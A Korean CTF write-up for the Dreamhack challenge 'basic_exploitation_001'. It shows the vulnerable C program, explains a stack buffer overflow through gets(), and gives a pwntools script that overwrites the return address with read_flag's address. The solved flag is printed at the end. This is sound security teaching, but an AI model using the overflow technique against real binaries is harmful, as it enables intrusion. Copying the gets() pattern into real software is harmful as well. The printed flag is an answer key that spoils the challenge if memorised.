먼저, 문제를 풀기 위한 코드를 살펴보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
사실 alarm_handler 함수나 initialize 함수는 문제를 푸는 데에는 영향을 주지 않는 함수들이다.
간략하게 설명하자면,
과 같다. ( 사실 별 의미 없기 때문에 문제에 영향을 주지 않는다.)
그렇다면 문제를 풀기 위해서 main 함수를 분석해보도록 하자.
main 함수
다음과 같이 main 함수가 실행된다.
우리의 목표는 우리에게 보이지 않는 flag 함수를 읽는 것이고, 이는 C 코드에서 read_flag 함수를 실행시켜주면 된다! 그렇다면 우리는 Buf 배열에서 Overflow를 일으켜서 main 함수의 return 주소를 read_flag 함수의 주소로 바꾸어주면 된다.
main 함수를 assembly 코드로 compile 해보면 다음과 같은 결과가 나오게 된다.
버퍼를 총 0x80만큼 늘리고, 이 버터의 처음 부분에 buffer을 입력받게 된다. 그렇다면, 총 메모리 구조는 다음과 같이 나타낼 수 있겠다.
따라서 Buffer을 입력할 때, dummy를 0x84만큼 채워주고, return 주소에 read_flag 함수의 실행 주소를 넣어주면 되겠다.
checksec 명령어는 이 실행파일 내부에 어떤 보호기법들이 작용하고 있는지를 알아보는 명령어이다. 사진에 보다시피, NX 보호기법을 제외한 아무 보호기법도 걸려있지 않다.
따라서 read_flag 주소를 바로바로 넣어줄 수 있겠다.
이 보호기법들에 관해서는 나중에 포스팅할 예정이다
from pwn import *
p = remote("host3.dreamhack.games",11707)
e = ELF("./basic_exploitation_001")
read_flag_addr = e.symbols['read_flag']
payload = b'A'*0x84
payload += p32(read_flag_addr)
p.send(payload)
p.interactive()
먼저, 코드 초반부에 있는
from pwn import * p = remote("host3.dreamhack.games",11707) e = ELF("./basic_exploitation_001")
이 코드들은 단지 pwntools를 사용하고, 아래 사진에 있는 dreamhack의 서버에 접속하기 위한 작업으로, exploit에 영향을 주지는 않는다. 따라서 굳이 설명하지 않고 넘어가도록 하겠다.
따라서 그 아래의 코드들을 알아보자.
read_flag_addr = e.symbols['read_flag']
: read_flag의 주소를 가져옴
payload = b'A'*0x84
: dummy 0x84를 채워준다.
payload += p32(read_flag_addr)
: 마지막 return 부분에 구했던 read_flag의 함수 주소를 대입한다.
p.send(payload)
: 만든 payload를 입력해준다.
p.interactive()
: exploit 한 상태 유지.
이렇게 볼 수 있다.
따라서 이 코드를 실행시켜주면, 원하는 대로 read_flag를 실행시킬 수 있을 것이다.
한번 실행해보자.
이런 결과가 나오게 된다~!
그렇다면 문제 설명에 나와 있는 대로 flag의 값은
flag : DH{01ec06f5e1466e44f86a79444a7cd116}
가 되겠다!!